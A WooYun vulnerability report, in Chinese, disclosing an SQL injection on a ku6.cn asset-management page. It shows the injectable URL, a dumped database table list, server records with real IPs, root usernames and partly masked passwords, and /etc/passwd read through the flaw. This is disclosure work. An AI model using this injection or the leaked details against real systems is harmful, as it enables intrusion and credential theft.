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缺陷编号：wooyun-2014-088881

漏洞标题：酷6网某核心服务器存在SQL注射漏洞(root权限可读写文件)

相关厂商：酷6网

漏洞作者： 路人甲

提交时间：2014-12-27 02:15

修复时间：2015-01-01 02:16

公开时间：2015-01-01 02:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2014-12-27： 细节已通知厂商并且等待厂商处理中
2015-01-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

酷6网某核心服务器存在SQL注射漏洞，进一步利用可摧毁机房

详细说明：

http://fixedassets.ku6.cn/req_sub_business_list.php?business_id=1'
Query failed:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' order by sub_business_id' at line 1


Database: itil
[91 tables]
+-------------------------------+
| CDN_storage_config            |
| cdn_fixed_collection          |
| fixed_cdn_count_by_excel      |
| m5_server                     |
| maintenance_info              |
| malfunction_report            |
| monitor_item_report           |
| monitor_report                |
| portscan                      |
| portscanext                   |
| report_center                 |
| tb_business                   |
| tb_cdn_config                 |
| tb_cdn_push_speed             |
| tb_cdn_storage                |
| tb_cdn_storage_back           |
| tb_cdnid_usage                |
| tb_cdnid_usage_0101           |
| tb_cdnid_usage_history        |
| tb_change_history             |
| tb_company                    |
| tb_contract                   |
| tb_contract_ext               |
| tb_delnode_flow               |
| tb_delnode_flow_step          |
| tb_delnode_step_user          |
| tb_department                 |
| tb_district                   |
| tb_fixed_appliances           |
| tb_fixed_applicant            |
| tb_fixed_cabinet              |
| tb_fixed_chair                |
| tb_fixed_change_log           |
| tb_fixed_data                 |
| tb_fixed_disk                 |
| tb_fixed_fax                  |
| tb_fixed_firewall             |
| tb_fixed_furniture            |
| tb_fixed_info                 |
| tb_fixed_it_other_equipment   |
| tb_fixed_log                  |
| tb_fixed_mobile               |
| tb_fixed_monitor              |
| tb_fixed_new_studio_equipment |
| tb_fixed_note                 |
| tb_fixed_other                |
| tb_fixed_pc                   |
| tb_fixed_printer              |
| tb_fixed_projector            |
| tb_fixed_recording            |
| tb_fixed_server               |
| tb_fixed_storage              |
| tb_fixed_supplier             |
| tb_fixed_switch               |
| tb_fixed_table                |
| tb_idc                        |
| tb_isp                        |
| tb_link                       |
| tb_link_20090326              |
| tb_log                        |
| tb_newnode_flow               |
| tb_newnode_flow_step          |
| tb_newnode_router             |
| tb_newnode_server             |
| tb_newnode_step_user          |
| tb_os_type                    |
| tb_person                     |
| tb_privilege                  |
| tb_process                    |
| tb_province                   |
| tb_router                     |
| tb_s_base                     |
| tb_s_base_0401                |
| tb_s_hardware                 |
| tb_s_password                 |
| tb_s_port                     |
| tb_s_process                  |
| tb_s_software                 |
| tb_second_party               |
| tb_server_log                 |
| tb_sub_business               |
| tb_team                       |
| tb_tmp                        |
| tb_user                       |
| tb_user_tpl                   |
| view_cdn_server_link          |
| view_cdn_storage              |
| view_contract                 |
| view_idc                      |
| view_link_disc                |
| view_server                   |
+-------------------------------+


[06:34:32] [INFO] analyzing table dump for possible password hashes
Database: itil
Table: tb_newnode_server
[65 entries]
+-------+---------+-----------------+------+---------+---------+--------------+----------+
| id    | ip2     | ip1             | user | port2   | port1   | passwd       | server_u |
+-------+---------+-----------------+------+---------+---------+--------------+----------+
| 10000 | <blank> | 120.193.9.34    | root | <blank> | G0/5    | ku*******.com | 1U       |
| 10000 | <blank> | 120.193.9.35    | root | <blank> | G0/6    | ku*******.com | 1U       |
| 10000 | <blank> | 120.193.9.36    | root | <blank> | G0/7    | ku*******.com | 1U       |
| 10000 | <blank> | 120.193.9.37    | root | <blank> | G0/8    | ku*******.com | 1U       |
| 10000 | <blank> | 120.193.9.38    | root | <blank> | G0/9    | ku*******.com | 2U       |
| 10000 | <blank> | 120.193.9.39    | root | <blank> | G0/1    | ku*******.com | 2U       |
| 10000 | <blank> | 120.193.9.40    | root | <blank> | G0/2    | ku*******.com | 2U       |
| 10000 | <blank> | 120.193.9.41    | root | <blank> | G0/3    | ku*******.com | 2U       |
| 10000 | <blank> | 120.193.9.42    | root | <blank> | G0/4    | ku*******.com | 2U

漏洞证明：

readfile: /etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
rd:x:500:500::/home/rd:/bin/bash
op:x:501:501::/home/op:/bin/bash
cdnscan:x:0:0::/home/cdnscan:/bin/bash
mysql:x:502:503::/home/mysql:/sbin/nologin
www:x:503:504::/home/www:/sbin/nologin


readfile: /etc/rc.local

#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
route add -net 10.11.0.0/16 gw 10.11.45.1
touch /var/lock/subsys/local

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-01-01 02:16

厂商回复：

漏洞Rank：12 (WooYun评价)

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